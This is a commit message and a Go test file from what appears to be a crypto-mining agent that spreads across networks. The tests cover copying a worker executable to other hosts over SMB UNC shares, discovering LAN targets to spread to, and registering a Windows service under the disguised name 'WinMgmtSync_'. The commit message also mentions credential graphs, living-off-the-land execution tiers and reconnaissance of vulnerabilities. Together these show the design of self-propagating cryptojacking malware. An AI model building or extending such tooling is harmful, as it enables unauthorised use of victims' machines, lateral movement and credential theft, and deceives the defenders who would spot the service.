Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/smb_unc_spread_test.go

@@ -0,0 +1,48 @@
+package deploy
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestValidateUNCSpreadPath(t *testing.T) {
+	if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil {
+		t.Fatalf("valid UNC rejected: %v", err)
+	}
+	if err := ValidateUNCSpreadPath(""); err == nil {
+		t.Fatal("empty UNC should fail")
+	}
+	if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil {
+		t.Fatal("local path should fail")
+	}
+	if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil {
+		t.Fatal("traversal in UNC should fail")
+	}
+}
+
+func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) {
+	msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"})
+	if !strings.Contains(strings.ToLower(msg), "rejected") {
+		t.Fatalf("unexpected message: %q", msg)
+	}
+}
+
+func TestSMBUNCSvcName(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
+	got := smbUNCSvcName(cfg, "")
+	if !strings.HasPrefix(got, "WinMgmtSync_") {
+		t.Fatalf("got %q", got)
+	}
+	if strings.Contains(got, " ") {
+		t.Fatal("service name must not contain spaces")
+	}
+}
+
+func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
+	targets := DiscoverLANSpreadTargets(2)
+	if len(targets) > 2 {
+		t.Fatalf("cap ignored: got %d targets", len(targets))
+	}
+}